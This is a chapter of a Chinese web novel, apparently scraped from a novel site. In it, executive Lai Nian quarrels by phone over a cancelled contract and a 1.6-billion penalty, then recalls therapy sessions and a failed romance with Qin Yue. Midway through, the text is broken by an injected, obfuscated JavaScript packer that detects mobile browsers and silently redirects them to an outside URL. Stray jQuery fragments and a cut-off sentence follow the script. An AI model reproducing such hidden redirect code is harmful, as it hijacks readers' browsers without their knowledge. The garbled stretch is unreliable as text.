叮铃铃——


    来念被一阵电话铃声吵醒。


    睁眼，天已经大亮。


    墙上电子时钟跳动到09:00。


    很久没睡得这么熟了。


    手机还在震动，来念坐起来，从床头柜拿过直接点了接听。


    对面的人仿佛吃了炸药，噼里啪啦一顿输出，丝毫不顾及来念还没完全清醒的意志。


    “我去，祖宗，你昨天干什么了？法务说你要跟诚高解约？他们怎么得罪你了？你知不知道他们什么背景？跟他们解约你要干什么？以为凭自己就能吃得下这整个项目？我好歹是个总裁，你做决定前起码跟我说声吧，祖宗，老子今天电话都被打爆了你还躲在家里，你是个人？！”


    来念差点没被吵聋，捂着耳朵把手机举远了些。


    那头见半天没有人回应，隔着电话线大吼了两声：“喂？喂？！不吭声算什么好汉，你有本事说句话！”


    来念按了免提，边起床换衣服，一边不紧不慢地应了声：“听着呢。”


    “听着？”林之堂差点被气得喘不上来气，“你倒是说说现在怎么办啊！”


    来念拿着手机去洗漱间，边走边说：“解约函已经发出去了，你现在反对也来不及了。你如果担心一家吃不下，我可以给你介绍新的合作方，其他还有什么问题？”


    林之堂：“……你少避重就轻，主要问题是这个吗？zf那边怎么办？没有诚高搭桥，你以为方案和预算好批？”


    “还有，之前已经签过一部分协议了，那么一大笔违约金从哪儿出？”


    来念：“那边你不用担心，他们不会卡的。”


    “什么意思？”


    “我认识人。”


    其实是，去年以G&W名义跟A市zf签订了一份价值几千亿美金的投资意向，用于扶持A市的小微企业，来念是这个投资项目的主要负责人。


    在哪里有钱的都是老大，这个道理不会有人不懂。


    为一个诚高得罪她，这笔买卖到底划不划算，那些人应该算得清。


    “唔……”林之堂一下哑声。


    其实要不是背后有人牵线，他也早不想跟诚高合作了。


    这家公司实在太贪心，跟他来回拉扯这么久，要了百分之三十六的分利，没见过这么不要脸的。


    来念这回做法虽然激进，但十分合他心意，他又不用当恶人，又摆脱了讨厌的合作方，简直好得不能再好。


    这项目最初能落到他手里，来念虽然没明说，但他也知道背后是有她的手笔，因此并不怀疑她能处理好。


    “咳咳咳，行吧。”林之堂吃到定心丸，态度也温和了起来，“那就这样吧，你今天好好休息，不想来公司就不来，这边有我看着，有事打我电话。”


    来念刷着牙，一点没客气嗯了声。


    本来今天也没打算去公司。


    她十点约了人谈设立创业补助基金的事儿。


    正准备挂断电话，想起还漏了件事，“你刚刚说什么违约金？”


    “哦，这个你不用管了，”林之堂一反前态，“之前秦云新智那边解约赔的钱刚好够。那也是笔不小的钱了哦。”


    最后一句是林之堂故意说的。


    正事儿说清了，他又蠢蠢欲动想试探来念私人感情的进展状况。


    来念动作一顿，皱了皱眉：“谁说要跟秦云新智解约了？”


    突然想起昨天陈陌说的那些话。


    脑子里电光火石一串，秦越就是为这事儿在借钱？


    好久不管这些杂事，来念一时差点忘了，还有违约金一说。


    “违约金有多少？”来念语气已经有些不好了，但隔着电话线，林之堂愣是半点没听出来。


    还在那儿继续阴阳怪气地试探：“十六个亿啊，怎么了？我说你到底怎么想的，人家都那样说了，你不会还要去找人家吧？我可告诉你，这项目顶多就能拖三个月，三个月后管你谈没谈下来，都一定要开工的。”


    来念直接忽略了他后面啰嗦的那一长串，恨不得冲过去捅这狗东西一刀，烦躁地冲他吼了一句：“林之堂你没见过钱是吧，谁让你这么定的！”


    林之堂被吼得一脸懵，莫名其妙：“我去，大哥，你知不知道这项目总价值是多少，都是按市场价定的，再说了你急什么急，他堂堂秦家，这点儿钱算根毛啊！”


    来念深吸了口气，不想跟他争。


    秦家一向低调，不怎么参加业内各种研讨会、商业活动，更不喜欢搞拉帮结派，恶性竞争之类的手段，别的公司什么行业赚钱就去什么行业掺上一脚，他们却始终深耕在信息技术领域，盈利能力自然比不上别家。


    秦家技术实力毋庸置疑是领军地位，但也正是因为研发新技术需要投入大量资金，公司的纯利润就更少了。


    而且他们每年都做很多慈善，公益事业，新技术也以最低成本对外开放，股东分红并不多。


    秦云新智更可以称得上是一家情怀为主而非盈利为主的企业。


    这就是他们公司的底蕴。


    和林之堂这种暴发户不一样，秦家家业都是一代一代稳扎稳打出来的，走到今天，不是靠某一个人的努力，而是全公司所有人的坚持。


    公司的立足之本就是诚信公正，做任何决定都要考虑每一个员工的利益，公司上下每一笔资金去向都有明确记录，别说秦越，就是秦云海要拿出这么一大笔钱来，也是不容易的。


    这约没那么好解，来念一开始就知道，秦家不是哪一个人的一言堂。


    这么久没动静，她也不是想逼迫秦越主动低头，只是在给他时间。


    十六个亿。


    来念脑子都不用动就知道，秦越没那么多钱。


    她有点失策了。


    “这事儿你别管了，我会解决。”来念揉了揉眉心，有些不耐烦，“诚高那笔违约金你从别的地方想办法。”


    说完没等林之堂发表什么意见，就立刻挂断了电话。


    之后又匆匆忙忙打电话给人把上午十点的安排取消，然后联系人约秦云海见面。


    来念回国


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15383830|168520||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    来没带秘书，林之堂之前说给她安排一个她也没要，所以什么事都得亲力亲为。


    换了衣服从酒店下去，找服务生帮忙约了个出租车，先回公司拿资料。


    坐在车上时，回想了下近几天发生的事，关于工作，关于生活，想来想去，也没有更多可想，最后才想到秦越。


    一年前，G&W跟A市zf合作扶持小微企业，需要派人常驻A市，考虑到来念以前在A市生活过，便首先问了她，但她想都没想就拒绝了。


    她走了就没想过再回来，也不合适。


    Ave却始终劝她回来看看。


    Ave是她小姑的男朋友，也是个心理医生，给来念做过几次心理测试，按Ave说法，结果不严重，只是有些小问题，比她小姑好多了，来念只是笑了笑，之后Ave给她制定了一套治疗方案，固执地定期给她做心理辅导，但来念又不是很容易跟人敞开心扉的人，无论Ave如何引导，只要她不想说他就无法知道她内心真正的想法。


    不过来念并不总是不配合，有时候，她还是挺愿意跟Ave多谈谈，比如说起她父亲，说她小时候的事，现在的想法，还有说过去的一段感情……


    Ave说，或许是因为，她心里还有自救的想法，这也是一种本能，她还想过要改变，希望得到他的帮助。


    Ave问她，为什么选择结束上一段感情？


    来念说，因为这样最好，对他对我都最好。


    Ave摇了摇头，这只是你的想法，你不相信自己，也不相信他，也许你应该问问他，告诉他事实，让他做选择。


    来念沉默，她从来不会让自己处于被动的位置，习惯于在事情变坏之前掐掉它，这是她从小习惯的思考方式，很难改变。


    Ave最后说，你不敢信任别人，不信任感情，甚至不信任你自己，这是你最大的问题，为什么要这样呢？你有没有想过另一个人也会因此受伤害。


    所以Ave说让她回去看看。去试一试，选择一个愿意信任的人，尝试相信他。


    其实要找这样一个人，不一定非得是秦越。


    可是Ave的有句话确实触动了她，她自以为对谁都好的解决办法，会不会对另一个人造成了伤害？


    她脑子里不由自主地浮现出和秦越最后见面的那次，他的表情，痛苦，绝望，对她的恨意，她全都看见了。


    那天他找自己是做什么来的？


    来念收到他的短信，约她见面，说有话跟她说，那之前她们已经有了矛盾，并且很长时间没联系。


    来念自以为了解他，他是个坦诚的人，不会欺骗别人也不会欺骗自己，意识到她的不坦诚她的冷漠后，他还会继续跟她在一起吗？就算愿意，又还能坚持多久？更何况，她还有更大的秘密瞒着他。他认识的那个她甚至不是真实的她。


    所以她以这种方式快速结束了他们间的感情，在一切还没腐烂透顶的时候。有些黑暗里的东西永远不必见天日。


    但这真的对吗？


    来念不太确定了。